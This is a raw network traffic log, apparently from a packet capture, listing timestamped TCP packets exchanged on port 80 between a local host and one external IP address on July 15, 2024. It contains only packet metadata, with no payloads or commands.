Jul 15, 2024 00:48:25.687618017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.687630892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.687647104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.687684059 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.687717915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.687731028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.687742949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.687743902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.687756062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.687768936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.687772036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.687779903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.687793016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.687797070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.687805891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.687824011 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.687848091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.688744068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.688766956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.688780069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.688803911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.688833952 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.688846111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.688858986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.688870907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.688883066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.688886881 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.688925982 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.697180986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.697195053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.697212934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.697226048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.697238922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.697252035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.697263956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.697279930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.697292089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.697293997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.697304964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.697329998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.697350979 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.697360039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.697372913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.697385073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.697397947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.697427034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.698251963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698265076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698277950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698307037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.698311090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698323011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698329926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.698335886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698350906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698363066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.698396921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.698561907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698575020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698607922 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.698637009 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.698651075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698664904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698677063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698689938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.698692083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698705912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698714972 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.698718071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698729038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698746920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698757887 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.698782921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.698796988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698810101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698820114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698832989 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.698836088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698849916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698860884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698872089 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.698877096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698904991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.698925018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.698975086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698987961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.698998928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699011087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699017048 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699024916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699038029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699038029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699050903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699064970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699071884 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699079037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699095964 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699099064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699110031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699115038 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699121952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699136972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699146986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699153900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699176073 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699196100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699685097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699698925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699711084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699723959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699738026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699739933 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699749947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699763060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699774027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699778080 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699788094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699800014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699807882 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699812889 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699826002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699834108 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699840069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699851990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699852943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699865103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699877024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699877977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699889898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699902058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699902058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699917078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699928045 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699928999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.699956894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.699982882 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.700129986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.700143099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.700155973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.700169086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.700181007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.700186968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.700196028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.700211048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.700227022 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.700249910 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.700426102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.700436115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.700458050 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.700469971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.700488091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.700489998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.700500011 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.700505018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.700517893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.700531006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.700536966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.700573921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.702636003 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.702650070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.702662945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.702718019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.702728033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.702744961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.702759027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.702770948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.702776909 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.702816963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.778400898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.778515100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.778518915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.778527021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.778539896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.778551102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.778564930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.778565884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.778579950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.778588057 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.778604984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.778615952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.778621912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.778628111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.778639078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.778650999 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.778650999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.778662920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.778676033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.778687000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.778719902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.778934002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.778980970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.779337883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.779349089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.779360056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.779371023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.779382944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.779395103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.779402018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.779412985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.779423952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.779436111 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.779464006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.788242102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.788253069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.788265944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.788300037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.788321018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.788389921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.788402081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.788415909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.788428068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.788439035 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.788439989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.788474083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.788490057 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.788599968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.788610935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.788621902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.788650990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.788678885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.788794994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.788806915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.788817883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.788844109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.788872004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.789263964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789274931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789285898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789315939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.789333105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789345026 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.789376020 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.789454937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789465904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789477110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789488077 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789499998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.789513111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789530039 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.789556026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789557934 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.789568901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789581060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789597034 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.789623976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.789653063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789664030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789674997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789686918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789699078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.789720058 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.789746046 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.789844036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789856911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789868116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789880991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789891958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789894104 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.789904118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789916039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.789927006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.789952993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.790152073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.790173054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.790182114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.790199041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.790229082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.790230036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.790242910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.790254116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.790271997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.790303946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.790365934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.790378094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.790411949 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.790983915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791002989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791013002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791034937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.791064024 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.791065931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791076899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791089058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791105986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.791140079 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.791208029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791219950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791230917 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791241884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791254997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791256905 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.791276932 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.791289091 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791301966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791306973 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.791340113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.791441917 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791452885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791464090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791472912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791485071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791492939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.791497946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791508913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791520119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.791522026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791534901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791541100 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.791575909 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.791630030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791670084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.791703939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791713953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791724920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791738033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791748047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.791752100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791764021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791775942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.791784048 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.791806936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.791824102 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.792129040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.792139053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.792150974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.792181969 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.792208910 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.792222023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.792236090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.792247057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.792258024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.792265892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.792270899 CEST	80	49704	38.180.60.246	192.168.2.5
